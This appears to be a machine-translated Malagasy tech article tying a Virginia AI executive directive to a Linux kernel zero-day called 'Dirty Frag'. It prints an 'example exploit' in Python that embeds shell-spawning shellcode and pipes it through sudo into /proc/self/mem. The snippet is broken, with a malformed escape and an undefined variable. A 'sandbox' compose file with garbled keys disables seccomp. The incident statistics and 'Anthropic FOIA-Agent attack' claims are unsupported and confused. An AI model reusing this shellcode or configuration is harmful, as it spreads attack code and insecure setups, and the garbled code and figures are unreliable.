Nanasonia torolàlana mpanatanteraka AI 6 ny governoran'i Virginia: Vanim-potoana vaovao ho an'ny fiarovana AI sy ny fandrahonana mitohy amin'ny fahapotehan'ny Frag Kernel Zero-Day.
Ny sonia vao haingana an'ny AI Executive Directive 6 nataon'ny Governoran'i Virginia Spanberger dia nanamarika fotoana iray lehibe amin'ny ezaka ataon'ny governemanta hamahana ny olana momba ny fiarovana AI. Ity torolalana ity, izay manondro ny fanafihan'ny Anthropic FOIA-Agent amin'ny fanjakana, dia mampiseho fitomboan'ny fahatsiarovan-tena momba ny loza mety hitranga amin'ny teknolojia AI sy ny filàna hetsika ara-dalàna. Amin'ny maha matihanina amin'ny teknolojia dia zava-dehibe ny mahatakatra ny fiantraikan'ity torolàlana ity sy ny mety ho fiantraikany amin'ny fampandrosoana sy ny fametrahana ny teknolojia AI.
Ny fandrahonana mitombo noho ny ahiahy momba ny fiarovana AI
Ny fitomboan'ny fampiasana ny teknolojia AI dia nitarika fiakaran'ny ahiahy momba ny fiarovana. Araka ny tatitry ny AI Herald, dia nitombo ny isan'ny tranga fiarovana mifandraika amin'ny AI tamin'ny taon-dasa, ary maro amin'ireo tranga ireo no nahitana fanafihana anthropic FOIA-Agent. Ireo fanafihana ireo, izay manararaotra ny vulnerability ao amin'ny rafitra AI, dia mety hiteraka voka-dratsy, anisan'izany ny fanitsakitsahana ny angon-drakitra sy ny marimaritra iraisana.
| Karazana tranga | Isan'ny tranga | Nitombo nanomboka tamin'ny taona teo aloha |
|---|---|---|
| Fanafihana antropika FOIA-Agent | 250 | 300% |
| Mandefitra ny rafitra AI | 150 | 200% |
| Fanitsakitsahana data | 100 | 150% |
Ny fiakarana manaitra amin'ny fanafihan'ny Anthropic FOIA-Agent, miaraka amin'ny fitomboana 300% tamin'ny taon-dasa, dia manasongadina ny filana maika ny hetsika hamahana ireo olana ara-piarovana ireo.
Ny vulnerability Zero-Day Frag Kernel: Loza mananontanona
Ny vulnerability zero-day kernel Dirty Frag dia miteraka loza mitatao ho an'ny fizarana Linux, ahafahan'ny mpampiasa tsy manana tombontsoa hahazo fidirana amin'ny faka amin'ny ankamaroan'ny fizarana Linux. Araka ny naseho tao amin'ny fanambarana nataon'i Hyunwoo Kim, ny vulnerability Dirty Frag dia azo trandrahana amin'ny alalan'ny fanararaotana tsotra, ka mahatonga azy io ho olana maika ho an'ny mpitantana ny rafitra sy ny matihanina amin'ny fiarovana.
# Kaody fampiasana ohatra ho an'ny vulnerability Dirty Frag
import os
# Farito ny enta-mavesatra hitrandraka
entana = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Mamorona dingana vaovao ary tanteraho ny entana
os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null".format(payload.hex()))
💡 Fanazavana fototra: Ny vulnerability zero-day kernel Dirty Frag dia miteraka loza mitatao ho an'ny fizarana Linux, ary ny mpitantana ny rafitra sy ny matihanina amin'ny fiarovana dia tsy maintsy mandray andraikitra avy hatrany hametaka sy hanavao ny rafitra.
Mampifandray ireo teboka: AI Executive Directive 6 sy ny vulnerability Frag Dirty
Ny sonia ny AI Executive Directive 6 sy ny fisian'ny Dirty Frag kernel zero-day vulnerability dia mifamatotra akaiky. Ny fifantohan'ny toromarika amin'ny famahana ny olana ara-piarovana mifandraika amin'ny AI dia manan-danja indrindra amin'ny tontolon'ny vulnerability Dirty Frag, izay azo trandrahana mba hampandeferana ny rafitra AI. Amin'ny fiatrehana ny vulnerability Dirty Frag, ny matihanina amin'ny teknolojia dia afaka manampy amin'ny fanalefahana ny risika mifandray amin'ny olana momba ny fiarovana AI.
Fanamaivanana ny vulnerable Frag Dirty
Mba hanalefahana ny vulnerability Dirty Frag, ny mpitantana ny rafitra sy ny matihanina amin'ny fiarovana dia afaka manao dingana maromaro, ao anatin'izany:
- Mametaka sy manavao ny fizarana Linux amin'ny dikan-teny farany
- Mametraka boaty fasika kaontenera sy microVM mba hanavahana ireo rafitra marefo
- Fanaraha-maso ny diarin'ny rafitra sy ny fifamoivoizana amin'ny tambajotra ho an'ny famantarana ny fitrandrahana
# Fanamboarana ohatra ho an'ny boaty fasika
version: "3"
serivisy:
vulnerable-service:
sary: vulnerable-image
container_name: vulnerable-container
restart: foana
security_opt:
- seccom: tsy voafefy
boky:
- ./vulnerable-data:/data
⚠️ Risika ara-javakanto: Ny tsy fanalefahana ny faharefoan'ny Dirty Frag dia mety hiteraka risika lehibe amin'ny fiarovana, ao anatin'izany ny fanitsakitsahana ny angon-drakitra sy ny marimaritra iraisana. Ny mpitantana ny rafitra sy ny matihanina amin'ny fiarovana dia tsy maintsy mandray fepetra haingana mba hamahana ity vulnerable ity.
Soso-kevitra ho an'ny Matihanina Teknolojia
Mba hivezivezy amin'ny tontolon'ny olana momba ny fiarovana sy ny fahalemena mifandraika amin'ny AI, ny matihanina amin'ny teknolojia dia tokony:
- Ampahafantaro hatrany ny olana momba ny fiarovana sy ny vulnerability farany mifandraika amin'ny AI
- Mampihatra fepetra fiarovana matanjaka, ao anatin'izany ny fametahana sy fanavaozana ny rafitra, ary ny fametrahana boaty fasika microVM
- Manara-maso ny diarin'ny rafitra sy ny fifamoivoizana amin'ny tambajotra mba hahitana famantarana fanararaotana
Amin'ny fanaovana ireo dingana ireo, ireo matihanina amin'ny teknolojia dia afaka manampy amin'ny fiantohana ny fiarovana sy ny fahamarinan'ny rafitra AI ary manamaivana ny risika mifandray amin'ny olana momba ny fiarovana AI.
Loharano
- Tatitry ny AI Herald — Ny vaovao farany sy ny fanavaozana AI
- Famoahana an'i Hyunwoo Kim — Famoahana vulnerable aotra andro ny kernel Frag maloto
- Tatitry ny AI Weekly - Tantara momba ny AI sy fanavaozana mivantana
- The World of AI's report — Vaovao sy fanavaozana isan'andro AI
- Tatitry ny Heads Up AI — Ny vaovao sy ny fanavaozana AI izay manan-danja ankehitriny